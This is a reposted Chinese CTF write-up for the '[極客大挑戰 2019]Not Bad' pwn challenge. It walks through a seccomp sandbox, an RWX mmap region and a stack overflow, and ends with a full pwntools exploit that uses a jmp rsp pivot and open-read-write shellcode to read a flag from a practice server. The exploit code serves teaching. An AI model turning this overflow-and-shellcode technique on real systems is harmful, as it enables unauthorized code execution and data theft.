[極客大挑戰 2019]Not Bad
附件
步驟
-
例行檢查,64位程式,沒用開啟任何保護

-
本地試運行一下看看大概的情況,根據程式提示,是個簡單的shellcode,按照經驗,肯定不簡單

-
64位ida載入

百度一下關于mmap函式的介紹
把從0x123000開始的地址,大小為0x1000的長度,權限改為可寫可執行
sub_400949(),沙盒過濾

使用seccomp-tools dump ./bad查看一下哪些函式可以使用

發現只有read,write,open,exit可以使用,估計這題應該是使用open-->read-->write這樣的orw的方式獲取flag了
sub_400906()

sub_400A16(),明顯的溢位漏洞

-
這題的思路很簡單,寫入orw型別的shellcode,然后跳轉去執行,buf的大小只有0x20,感覺不夠我們寫全rop攻擊鏈,程式一開始的時候給我們開辟了0x100可執行的空間,打算在這邊寫shellcode,然后利用buf的溢位跳轉過來執行我們的shellcode
-
先寫一下orw的shellcode
mmap=0x123000
orw_payload=shellcraft.open('./flag') #打開根目錄下的flag檔案
orw_payload+=shellcraft.read(3,mmap,0x50) #讀取檔案識別符號是3的檔案0x50個位元組存放到mmap分配的地址空間里
orw_payload+=shellcraft.write(1,mmap,0x50) #將mmap地址上的內容輸出0x50個位元組
關于檔案描述符fd的具體看這篇文章,我這邊簡單說一下,
read里的fd寫3是因為程式執行的時候檔案描述符是從3開始的,write里的1是標準輸出到顯示幕,這些知識點在我給的鏈接里有,
- 接下來寫一下buf里的rop攻擊鏈
buf里的rop攻擊鏈要完成的任務是往mmap里寫入orw_payload,讓程式跳轉到mmap去執行orw_payload,確定目的后開始寫rop攻擊鏈
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')#buf里的rop是往mmap里讀入0x100長度的資料,跳轉到mmap的地址執行
這樣buf里的rop就達到了我們想要的目的,下面就要想辦法讓buf里的內容被執行
發現該程式有jmp rsp,利用它可以跳轉到buf去執行,buf地址是rsp-0x30,
sub rsp,0x30;jmp rsp小于8位元組滿足要求,
buf處的完整rop攻擊鏈
jmp_rsp=0x400A01
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')#buf里的rop是往mmap里讀入0x100長度的資料,跳轉到mmap的地址執行
payload=payload.ljust(0x28,'\x00')#buf的大小是0x20,加上rbp0x8是0x28,用’\x00‘去填充剩下的位置
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')#回傳地址寫上跳轉到rsp
p.recvuntil('Easy shellcode, have fun!')
p.sendline(payload)
這樣buf里面的rop也構造好了,剩下的只要傳入orw_payload即可讀出flag
完整exp
from pwn import *
context.arch='amd64'
elf = ELF('./bad')
p = remote('node3.buuoj.cn',28461)
mmap=0x123000
orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, mmap, 0x50)
orw_payload += shellcraft.write(1, mmap,0x50)
jmp_rsp=0x400A01
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
p.recvuntil('Easy shellcode, have fun!')
p.sendline(payload)
shellcode=asm(orw_payload)
p.sendline(shellcode)
p.interactive()

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/255150.html
標籤:其他
上一篇:Java學習之旅
下一篇:Java單例模式8種方式 詳解
